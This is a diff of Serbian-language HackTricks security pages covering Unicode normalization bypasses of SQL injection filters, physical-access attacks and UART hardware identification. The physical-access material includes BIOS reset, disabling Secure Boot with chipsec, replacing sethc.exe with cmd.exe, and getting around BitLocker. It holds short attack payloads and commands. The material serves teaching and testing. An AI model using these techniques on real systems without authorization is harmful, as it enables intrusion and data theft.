<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -14,23 +14,37 @@ Drugi načini podrške HackTricks-u:
</details>
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za više detalja (slike preuzete sa tamo).
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za dalje detalje (slike preuzete sa te lokacije).
## Razumevanje Unikoda i Normalizacije
Normalizacija Unikoda je proces koji osigurava da različite binarne reprezentacije karaktera budu standardizovane na istu binarnu vrednost. Ovaj proces je ključan pri radu sa stringovima u programiranju i obradi podataka. Unikod standard definiše dva tipa ekvivalencije karaktera:
Normalizacija Unikoda je proces koji osigurava da različite binarne reprezentacije karaktera budu standardizovane na istu binarnu vrednost. Ovaj proces je ključan u radu sa stringovima u programiranju i obradi podataka. Unikod standard definiše dva tipa ekvivalencije karaktera:
1. **Kanonska Ekvivalencija**: Karakteri se smatraju kanonski ekvivalentnim ako imaju isti izgled i značenje kada se štampaju ili prikazuju.
2. **Kompatibilna Ekvivalencija**: Slabija forma ekvivalencije gde karakteri mogu predstavljati isti apstraktni karakter ali se mogu prikazivati na različite načine.
Postoje **četiri algoritma za normalizaciju Unikoda**: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanonske i kompatibilne tehnike normalizacije na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na [Unicode.org](https://unicode.org/).
Postoje **četiri algoritma normalizacije Unikoda**: NFC, NFD, NFKC i NFKD. Svaki algoritam koristi kanonske i kompatibilne tehnike normalizacije na različite načine. Za dublje razumevanje, možete istražiti ove tehnike na [Unicode.org](https://unicode.org/).
### Ključne Tačke o Kodiranju Unikoda
Razumevanje kodiranja Unikoda je ključno, posebno pri rešavanju problema interoperabilnosti među različitim sistemima ili jezicima. Evo glavnih tačaka:
Razumevanje kodiranja Unikoda je ključno, posebno kada se bave pitanjima interoperabilnosti među različitim sistemima ili jezicima. Evo glavnih tačaka:
* **Kodne Tačke i Karakteri**: U Unikodu, svakom karakteru ili simbolu je dodeljena numerička vrednost poznata kao "kodna tačka".
* **Reprezentacija Bajtova**: Kodna tačka (ili karakter) je predstavljena jednim ili više bajtova u memoriji. Na primer, LATINSKI-1 karakteri (uobičajeni u zemljama gde se govori engleski) se predstavljaju koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
* **Reprezentacija Bajtova**: Kodna tačka (ili karakter) je predstavljena jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u zemljama gde se govori engleski) se predstavljaju koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
* **Kodiranje**: Ovaj termin se odnosi na to kako se karakteri transformišu u niz bajtova. UTF-8 je rasprostranjeni standard kodiranja gde se ASCII karakteri predstavljaju koristeći jedan bajt, a do četiri bajta za ostale karaktere.
* **Obrada Podataka**: Sistemi koji obrađuju podatke moraju biti svesni korišćenog kodiranja kako bi ispravno konvertovali niz bajtova u karaktere.
* **Varijante UTF**: Pored UTF-8, postoje i drugi standardi kodiranja poput UTF-16 (koristi minimalno 2 bajta, do 4) i UTF-32 (koristi 4 bajta za sve karaktere).
@ -45,15 +59,15 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### Otkrivanje
Ako pronađete vrednost unutar web aplikacije koja se vraća nazad, možete pokušati poslati **'KELVIN SIGN' (U+0212A)** koji se **normalizuje u "K"** (možete ga poslati kao `%e2%84%aa`). **Ako se "K" vrati nazad**, tada se vrši neka vrsta **Unicode normalizacije**.
Ako pronađete vrednost unutar veb aplikacije koja se vraća, možete pokušati poslati **'KELVIN SIGN' (U+0212A)** koji se **normalizuje u "K"** (možete ga poslati kao `%e2%84%aa`). **Ako se "K" vrati nazad**, tada se vrši neka vrsta **Unicode normalizacije**.
Drugi **primer**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` nakon **unicode** postaje `Leonishan`.
## **Primeri ranjivosti**
## **Ranjivi Primeri**
### **Bypass filtriranja SQL Injection-a**
Zamislite web stranicu koja koristi karakter `'` za kreiranje SQL upita sa korisničkim unosom. Ova web stranica, kao sigurnosna mera, **briše** sve pojave karaktera **`'`** iz korisničkog unosa, ali **nakon te brisanja** i **pre kreiranja** upita, **normalizuje** korisnički unos pomoću **Unicode-a**.
Zamislite veb stranicu koja koristi karakter `'` za kreiranje SQL upita sa korisničkim unosom. Ova veb stranica, kao sigurnosna mera, **briše** sve pojave karaktera **`'`** iz korisničkog unosa, ali **nakon te brisanja** i **pre kreiranja** upita, **normalizuje** korisnički unos pomoću **Unicode-a**.
Zatim, zlonamerni korisnik može ubaciti drugačiji Unicode karakter ekvivalentan sa `' (0x27)` poput `%ef%bc%87`, kada se unos normalizuje, kreiran je jednostruki navod i pojavljuje se **SQLInjection ranjivost**:
@ -111,6 +125,18 @@ Alatka [**recollapse**](https://github.com/0xacb/recollapse) omogućava **generi
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-webom** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane **malvera koji krade podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

View file

@ -6,76 +6,76 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Obnova BIOS lozinke i sistemsko obezbeđenje
## WhiteIntel
**Resetovanje BIOS-a** može se postići na nekoliko načina. Većina matičnih ploča uključuje **bateriju** koja, kada se ukloni oko **30 minuta**, će resetovati BIOS podešavanja, uključujući i lozinku. Alternativno, **jumper na matičnoj ploči** može se podesiti da resetuje ova podešavanja povezivanjem određenih pinova.
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
U situacijama kada hardverske izmene nisu moguće ili praktične, **softverski alati** nude rešenje. Pokretanje sistema sa **Live CD/USB** distribucijama kao što je **Kali Linux** omogućava pristup alatima poput **_killCmos_** i **_CmosPWD_**, koji mogu pomoći u obnovi BIOS lozinke.
[**WhiteIntel**](https://whiteintel.io) je pretraživački motor pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
U slučajevima kada je BIOS lozinka nepoznata, unošenje lozinke netačno **tri puta** obično rezultira greškom. Ovaj kod se može koristiti na veb sajtovima poput [https://bios-pw.org](https://bios-pw.org) kako bi se potencijalno dobio upotrebljiva lozinka.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihov motor **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Obnova BIOS lozinke i bezbednost sistema
**Resetovanje BIOS-a** može se postići na nekoliko načina. Većina matičnih ploča uključuje **bateriju** koja, kada se ukloni oko **30 minuta**, će resetovati BIOS postavke, uključujući lozinku. Alternativno, **jumper na matičnoj ploči** može se podesiti da resetuje ove postavke povezivanjem određenih pinova.
Za situacije kada hardverske prilagodbe nisu moguće ili praktične, **softverski alati** nude rešenje. Pokretanje sistema sa **Live CD/USB** sa distribucijama poput **Kali Linux** omogućava pristup alatima poput **_killCmos_** i **_CmosPWD_**, koji mogu pomoći u obnovi BIOS lozinke.
U slučajevima kada je BIOS lozinka nepoznata, unošenje je pogrešno **tri puta** obično rezultira kodom greške. Taj kod se može koristiti na veb lokacijama poput [https://bios-pw.org](https://bios-pw.org) kako bi se potencijalno pronašla upotrebljiva lozinka.
### UEFI bezbednost
Za moderne sisteme koji koriste **UEFI** umesto tradicionalnog BIOS-a, alat **chipsec** se može koristiti za analizu i modifikaciju UEFI podešavanja, uključujući onemogućavanje **Secure Boot**-a. To se može postići sledećom komandom:
Za moderne sisteme koji koriste **UEFI** umesto tradicionalnog BIOS-a, alat **chipsec** može se koristiti za analizu i modifikaciju UEFI postavki, uključujući onemogućavanje **Secure Boot**-a. To se može postići sledećom komandom:
`python chipsec_main.py -module exploits.secure.boot.pk`
### Analiza RAM-a i napadi sa hladnim startom
### Analiza RAM-a i napadi hladnog podizanja sistema
RAM zadržava podatke kratko vreme nakon isključivanja napajanja, obično **1 do 2 minuta**. Ova postojanost se može produžiti na **10 minuta** primenom hladnih supstanci, poput tečnog azota. Tokom ovog produženog perioda, može se napraviti **damp memorije** korišćenjem alata poput **dd.exe** i **volatility** za analizu.
RAM zadržava podatke nakratko nakon isključivanja napajanja, obično **1 do 2 minuta**. Ova postojanost se može produžiti na **10 minuta** primenom hladnih supstanci, poput tečnog azota. Tokom ovog produženog perioda, može se napraviti **damp memorije** koristeći alate poput **dd.exe** i **volatility** za analizu.
### Napadi sa direktnim pristupom memoriji (DMA)
### Napadi direktnog pristupa memoriji (DMA)
**INCEPTION** je alat dizajniran za **fizičku manipulaciju memorijom** putem DMA, kompatibilan sa interfejsima poput **FireWire**-a i **Thunderbolt**-a. Omogućava zaobilaženje postupka prijavljivanja tako što menja memoriju da prihvati bilo koju lozinku. Međutim, neefikasan je protiv sistema sa **Windows 10**.
**INCEPTION** je alat dizajniran za **fizičku manipulaciju memorije** putem DMA, kompatibilan sa interfejsima poput **FireWire**-a i **Thunderbolt**-a. Omogućava zaobilazak postupaka prijave patchovanjem memorije da prihvati bilo koju lozinku. Međutim, neefikasan je protiv sistema **Windows 10**.
### Live CD/USB za pristup sistemu
Promena sistemskih binarnih fajlova poput **_sethc.exe_** ili **_Utilman.exe_** sa kopijom **_cmd.exe_** može obezbediti komandnu liniju sa sistemskim privilegijama. Alati poput **chntpw** mogu se koristiti za uređivanje **SAM** fajla Windows instalacije, što omogućava promenu lozinki.
Menjanje sistemskih binarnih datoteka poput **_sethc.exe_** ili **_Utilman.exe_** sa kopijom **_cmd.exe_** može pružiti komandnu liniju sa sistemskim privilegijama. Alati poput **chntpw** mogu se koristiti za uređivanje **SAM** datoteke Windows instalacije, omogućavajući promene lozinke.
**Kon-Boot** je alat koji olakšava prijavljivanje na Windows sisteme bez poznavanja lozinke privremeno modifikujući Windows kernel ili UEFI. Više informacija možete pronaći na [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
### Rad sa Windows bezbednosnim funkcijama
### Postupanje sa Windows bezbednosnim funkcijama
#### Prečice za pokretanje i oporavak
#### Prečice za podizanje i oporavak
- **Supr**: Pristup BIOS podešavanjima.
- **Supr**: Pristup BIOS postavkama.
- **F8**: Ulazak u režim oporavka.
- Pritisak na **Shift** nakon Windows banera može zaobići automatsko prijavljivanje.
- Pritiskanje **Shift** nakon Windows banera može zaobići automatsko prijavljivanje.
#### Loši USB uređaji (BAD USB)
#### Uređaji sa lošim USB-om
Uređaji poput **Rubber Ducky**-ja i **Teensyduino**-a služe kao platforme za kreiranje **loših USB** uređaja, sposobnih za izvršavanje unapred definisanih payload-a kada su povezani sa ciljnim računarom.
Uređaji poput **Rubber Ducky**-a i **Teensyduino**-a služe kao platforme za kreiranje uređaja sa **lošim USB-om**, sposobnih za izvršavanje unapred definisanih payload-a kada su povezani sa ciljanim računarom.
#### Kopiranje senzitivnih fajlova pomoću Volume Shadow Copy
#### Kopiranje senki zapisa
Administrator privilegije omogućavaju kreiranje kopija osetljivih fajlova, uključujući **SAM** fajl, putem PowerShell-a.
Administrator privilegije omogućavaju kreiranje kopija osetljivih datoteka, uključujući **SAM** datoteku, putem PowerShell-a.
### Zaobilaženje BitLocker enkripcije
### Zaobilazak BitLocker šifrovanja
BitLocker enkripcija može potencijalno biti zaobiđena ako se **recovery password** pronađe unutar fajla sa dump-om memorije (**MEMORY.DMP**). Alati poput **Elcomsoft Forensic Disk Decryptor**-a ili **Passware Kit Forensic**-a mogu se koristiti u tu svrhu.
BitLocker šifrovanje potencijalno može biti zaobiđeno ako se **ključ za oporavak** pronađe unutar datoteke sa dump-om memorije (**MEMORY.DMP**). Alati poput **Elcomsoft Forensic Disk Decryptor**-a ili **Passware Kit Forensic**-a mogu se koristiti u tu svrhu.
### Društveno inženjering za dodavanje ključa za oporavak
Novi BitLocker ključ za oporavak može se dodati putem taktika društvenog inženjeringa, ubedljivanjem korisnika da izvrši komandu koja dodaje novi ključ za oporavak sastavljen od nula, čime se pojednostavljuje proces dešifrovanja.
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
Novi BitLocker ključ za oporavak može se dodati putem taktika društvenog inženjeringa, ubedivši korisnika da izvrši komandu koja dodaje novi ključ za oporavak sastavljen od nula, čime se pojednostavljuje proces dešifrovanja.

View file

@ -10,44 +10,58 @@ Drugi načini podrške HackTricks-u:
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Osnovne informacije
UART je serijski protokol, što znači da prenosi podatke između komponenti po jedan bit u isto vreme. Za razliku od toga, paralelni komunikacioni protokoli prenose podatke istovremeno kroz više kanala. Uobičajeni serijski protokoli uključuju RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express i USB.
Općenito, linija se drži visoko (na logičkoj vrednosti 1) dok je UART u stanju mirovanja. Zatim, da bi signalizirao početak prenosa podataka, predajnik šalje start bit prijemniku, tokom kojeg se signal drži nisko (na logičkoj vrednosti 0). Zatim, predajnik šalje pet do osam podatkovnih bitova koji sadrže stvarnu poruku, praćenu opcionalnim bitom parnosti i jednim ili dva stop bita (sa logičkom vrednošću 1), zavisno od konfiguracije. Bit parnosti, koji se koristi za proveru grešaka, retko se viđa u praksi. Stop bit (ili bitovi) označavaju kraj prenosa.
Općenito, linija se drži visoko (na logičkoj vrednosti 1) dok je UART u stanju mirovanja. Zatim, da bi signalizirao početak prenosa podataka, predajnik šalje startni bit prijemniku, tokom kojeg se signal drži nisko (na logičkoj vrednosti 0). Zatim, predajnik šalje pet do osam podatkovnih bitova koji sadrže stvarnu poruku, praćenu opcionalnim bitom parnosti i jednim ili dva stop bita (sa logičkom vrednošću 1), zavisno od konfiguracije. Bit parnosti, koji se koristi za proveru grešaka, retko se viđa u praksi. Stop bitovi označavaju kraj prenosa.
Najčešća konfiguracija naziva se 8N1: osam podatkovnih bitova, bez parnosti i jedan stop bit. Na primer, ako želimo poslati karakter C, ili 0x43 u ASCII, u UART konfiguraciji 8N1, poslali bismo sledeće bitove: 0 (start bit); 0, 1, 0, 0, 0, 0, 1, 1 (vrednost 0x43 u binarnom obliku) i 0 (stop bit).
Najčešća konfiguracija naziva se 8N1: osam podatkovnih bitova, bez parnosti i jedan stop bit. Na primer, ako želimo poslati karakter C, ili 0x43 u ASCII, u UART konfiguraciji 8N1, poslali bismo sledeće bitove: 0 (startni bit); 0, 1, 0, 0, 0, 0, 1, 1 (vrednost 0x43 u binarnom obliku) i 0 (stop bit).
![](<../../.gitbook/assets/image (761).png>)
Hardverski alati za komunikaciju sa UART-om:
* USB-serial adapter
* USB-za-serijski adapter
* Adapteri sa čipovima CP2102 ili PL2303
* Višenamenski alat poput: Bus Pirate, Adafruit FT232H, Shikra ili Attify Badge
### Identifikacija UART portova
UART ima 4 porta: **TX**(Prenos), **RX**(Prijem), **Vcc**(Napon) i **GND**(Tlo). Možda ćete moći da pronađete 4 porta sa slovima **`TX`** i **`RX`** **napisanim** na PCB-u. Ali ako nema indikacija, možda ćete morati sami da ih pronađete koristeći **multimetar** ili **logički analizator**.
UART ima 4 porta: **TX**(Prenos), **RX**(Prijem), **Vcc**(Napon) i **GND**(Tlo). Možda ćete moći da pronađete 4 porta sa slovima **`TX`** i **`RX`** napisanim na PCB-u. Ali ako nema naznake, možda ćete morati sami da ih pronađete koristeći **multimetar** ili **logički analizator**.
Sa **multimetrom** i isključenim uređajem:
* Da biste identifikovali **GND** pin koristite režim **Test kontinuiteta**, postavite zadnji vodič u tlo i testirajte crvenim dok ne čujete zvuk sa multimetra. Na PCB-u se može pronaći nekoliko GND pinova, pa možda ste pronašli ili niste onaj koji pripada UART-u.
* Da biste identifikovali **GND** pin koristite režim **Testa kontinuiteta**, postavite zadnju sond na tlo i testirajte crvenom sondom dok ne čujete zvuk sa multimetra. Na PCB-u se može naći nekoliko GND pinova, pa možda pronađete ili ne onaj koji pripada UART-u.
* Da biste identifikovali **VCC port**, postavite režim **DC napona** i postavite ga na 20 V napona. Crna sonda na tlu i crvena sonda na pinu. Uključite uređaj. Ako multimetar meri konstantni napon od 3.3 V ili 5 V, pronašli ste Vcc pin. Ako dobijete druge napon, pokušajte sa drugim portovima.
* Da biste identifikovali **TX** **port**, **režim DC napona** do 20 V napona, crna sonda na tlu, crvena sonda na pinu i uključite uređaj. Ako pronađete da napon fluktuira nekoliko sekundi, a zatim se stabilizuje na vrednosti Vcc, verovatno ste pronašli TX port. To je zato što prilikom uključivanja, šalje neke podatke za debagiranje.
* **RX port** bi trebao biti najbliži od druga 3, ima najmanju fluktuaciju napona i najmanju ukupnu vrednost od svih UART pinova.
* Da biste identifikovali **TX** **port**, **DC režim napona** do 20 V napona, crna sonda na tlu, crvena sonda na pinu, i uključite uređaj. Ako pronađete da napon fluktuira nekoliko sekundi, a zatim se stabilizuje na vrednosti Vcc, verovatno ste pronašli TX port. To je zato što kada se uključi, šalje neke podatke za debagiranje.
* **RX port** bi trebao biti najbliži od preostala 3, ima najmanju fluktuaciju napona i najmanju ukupnu vrednost od svih UART pinova.
Možete da pomešate TX i RX portove i ništa se neće desiti, ali ako pomešate GND i VCC port možete da uništite krug.
Možete pomešati TX i RX portove i ništa se neće desiti, ali ako pomešate GND i VCC port možete uništiti krug.
Na nekim ciljnim uređajima, UART port je onemogućen od strane proizvođača onemogućavanjem RX ili TX ili čak oba. U tom slučaju, može biti korisno pratiti veze na ploči i pronaći neku tačku prekida. Jak znak o potvrdi neprepoznavanja UART-a i prekida kola je provera garancije uređaja. Ako je uređaj isporučen sa nekom garancijom, proizvođač ostavlja neke debag interfejse (u ovom slučaju, UART) i stoga, mora da je isključio UART i ponovo ga povezao tokom debagiranja. Ove prekidačke pinove možete povezati lemljenjem ili jumper žicama.
Na nekim ciljnim uređajima, UART port je onemogućen od strane proizvođača onemogućavanjem RX ili TX ili čak oba. U tom slučaju, može biti korisno pratiti veze na štampanoj ploči i pronaći neku tačku prekida. Jak znak o potvrdi neprepoznavanja UART-a i prekida kola je provera garancije uređaja. Ako je uređaj isporučen sa nekom garancijom, proizvođač ostavlja neke debag interfejse (u ovom slučaju, UART) i stoga, mora da je isključio UART i ponovo ga povezao tokom debagiranja. Ove prekidačke pinove možete povezati lemljenjem ili jumper žicama.
### Identifikacija UART Baud Rate
Najlakši način identifikacije ispravnog baud rate-a je da pogledate **izlaz TX pina i pokušate da pročitate podatke**. Ako podaci koje primate nisu čitljivi, prebacite se na sledeći mogući baud rate dok podaci ne postanu čitljivi. Možete koristiti USB-serial adapter ili višenamenski uređaj poput Bus Pirate-a za ovo, uparen sa pomoćnim skriptom, poput [baudrate.py](https://github.com/devttys0/baudrate/). Najčešći baud rate-ovi su 9600, 38400, 19200, 57600 i 115200.
Najlakši način identifikacije ispravnog baud rate-a je da pogledate **izlaz TX pina i pokušate pročitati podatke**. Ako podaci koje primate nisu čitljivi, pređite na sledeći mogući baud rate dok podaci ne postanu čitljivi. Možete koristiti USB-za-serijski adapter ili višenamenski uređaj poput Bus Pirate-a za ovo, uparen sa pomoćnim skriptom, poput [baudrate.py](https://github.com/devttys0/baudrate/). Najčešći baud rate-ovi su 9600, 38400, 19200, 57600 i 115200.
{% hint style="danger" %}
Važno je napomenuti da u ovom protokolu morate povezati TX jednog uređaja sa RX drugog!
@ -57,7 +71,7 @@ Važno je napomenuti da u ovom protokolu morate povezati TX jednog uređaja sa R
Čip CP210X se koristi u mnogim prototipnim pločama poput NodeMCU (sa esp8266) za serijsku komunikaciju. Ovi adapteri su relativno jeftini i mogu se koristiti za povezivanje sa UART interfejsom cilja. Uređaj ima 5 pinova: 5V, GND, RXD, TXD, 3.3V. Pazite da povežete napon podržan od strane cilja kako biste izbegli bilo kakvu štetu. Na kraju povežite RXD pin adaptera sa TXD cilja i TXD pin adaptera sa RXD cilja.
U slučaju da adapter nije detektovan, proverite da li su drajveri CP210X instalirani na glavnom sistemu. Kada je adapter detektovan i povezan, alati poput picocom, minicom ili screen mogu se koristiti.
U slučaju da adapter nije detektovan, proverite da li su drajveri CP210X instalirani na host sistemu. Kada je adapter detektovan i povezan, mogu se koristiti alati poput picocom, minicom ili screen.
Za listanje uređaja povezanih sa Linux/MacOS sistemima:
```
@ -75,17 +89,17 @@ Podesite postavke poput brzine prenosa i imena uređaja u opciji `Podešavanje s
Nakon konfiguracije, koristite komandu `minicom` da biste pokrenuli UART konzolu.
## UART putem Arduino UNO R3 (Uklonive Atmel 328p ploče sa čipom)
## UART putem Arduino UNO R3 (Uklonive ploče čipa Atmel 328p)
U slučaju nedostatka UART serijskih adaptera na USB, Arduino UNO R3 može se koristiti uz brzi trik. Budući da je Arduino UNO R3 obično dostupan bilo gde, ovo može uštedeti puno vremena.
U slučaju da UART serijski do USB adapteri nisu dostupni, Arduino UNO R3 može se koristiti uz brzi trik. Budući da je Arduino UNO R3 obično dostupan bilo gde, ovo može uštedeti puno vremena.
Arduino UNO R3 ima USB-Serial adapter ugrađen na samoj ploči. Da biste uspostavili UART vezu, jednostavno izvadite Atmel 328p mikrokontroler čip sa ploče. Ovaj trik funkcioniše na varijantama Arduino UNO R3 koje nemaju Atmel 328p zalemljen na ploči (u njoj se koristi SMD verzija). Povežite RX pin Arduina (Digitalni Pin 0) sa TX pinom UART interfejsa i TX pin Arduina (Digitalni Pin 1) sa RX pinom UART interfejsa.
